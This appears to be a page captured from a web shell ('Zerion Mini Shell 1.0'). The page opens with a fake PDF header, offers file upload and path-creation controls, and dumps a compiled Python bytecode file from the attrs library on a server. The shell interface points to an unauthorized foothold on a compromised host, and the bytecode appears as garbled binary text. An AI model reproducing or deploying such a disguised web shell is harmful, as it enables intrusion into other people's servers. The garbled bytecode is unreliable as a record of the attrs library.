%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/attr/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/attr/__pycache__/__init__.cpython-312.pyc

�

��e���6�dZddlmZddlmZddlmZmZmZm	Z	m
Z
ddlmZddl
mZddlmZmZdd	lmZmZmZmZmZmZdd
lmZmZmZmZmZmZm Z m!Z!m"Z"ddl#m$Z$m%Z%m&Z&m'Z'ddl(m)Z)exZ*Z+exZ,Z-eed
��Z.Gd�de�Z/gd�Z0de1defd�Z2e2e3�Z4y)z
Classes Without Boilerplate
�)�partial)�Callable�)�
converters�
exceptions�filters�setters�
validators)�	cmp_using)�Protocol)�get_run_validators�set_run_validators)�asdict�assoc�astuple�evolve�has�
resolve_types)	�NOTHING�	Attribute�Factory�attrib�attrs�fields�fields_dict�
make_class�validate)�define�field�frozen�mutable)�VersionInfoT)�auto_attribsc��eZdZy)�
AttrsInstanceN)�__name__�
__module__�__qualname__���//usr/lib/python3/dist-packages/attr/__init__.pyr%r%#s��r*r%) rr%rrrrr�attrr�
attributesrrrrrrrrrrr r
r�ibrr!r�srr	rr
�mod_name�returnc�,��dtdtf�fd�}|S)zp
    Create a metadata proxy for packaging information that uses *mod_name* in
    its warnings and errors.
    �namer1c���ddddddddddd�
}||vrd��d|��}t|��d	dl}d	dl}|jd
krd	dlm}nd	dlm}|dvr|jd
��d|�d�td��|d�}|dk(ry|dk(ry|dvr|djdd�dS|dk(rtj|d�S|dk(r|djdd�d	S|dk(r|djd d�dddS|||S)!N�Name��version�summary�license)
�	__title__�
__copyright__�__version__�__version_info__�__description__�__uri__�__url__�
__author__�	__email__�__license__zmodule z has no attribute r)��)�metadata)r<r=z
Accessing �.z� is deprecated and will be removed in a future release. Use importlib.metadata directly to query for attrs's packaging metadata.�)�
stacklevelrrC�MITr;z"Copyright (c) 2015 Hynek Schlawack)r?r@zProject-URL� r���r=rAzAuthor-emailrB�<)
�AttributeError�sys�warnings�version_info�importlib_metadatarF�importlib.metadata�warn�DeprecationWarning�splitr"�_from_version_string�rsplit)r3�dunder_to_metadata�msgrOrPrF�metar0s       �r+�__getattr__z"_make_getattr.<locals>.__getattr__Qsm�����$� )�(�����$�
���)�)��H�:�%7��v�>�C� ��%�%������f�$�3�3��:�:��M�M��X�J�a��v�.;�;�#��
�
��� ���=� ���?�"�7��)�)��
�&�,�,�S�!�4�R�8�8��%�%��3�3�D��O�D�D��<����'�.�.�s�A�6�q�9�9��;����'�.�.�s�A�6�q�9�#�2�>�>��&�t�,�-�-r*)�str)r0r\s` r+�
_make_getattrr^Ks���0.�#�0.�#�0.�d�r*N)5�__doc__�	functoolsr�typingrr6rrrr	r
�_cmpr�_compatr�_configr
r�_funcsrrrrrr�_makerrrrrrrrr�	_next_genrrr r!�
_version_infor"r/r-r.r,�	dataclassr%�__all__r]r^r&r\r)r*r+�<module>rks������B�B���;�F�F�
�
�
�6�5�&����J����T��E��-�	�	�H�	�!��H8�C�8�H�8�v�H�%�r*

Zerion Mini Shell 1.0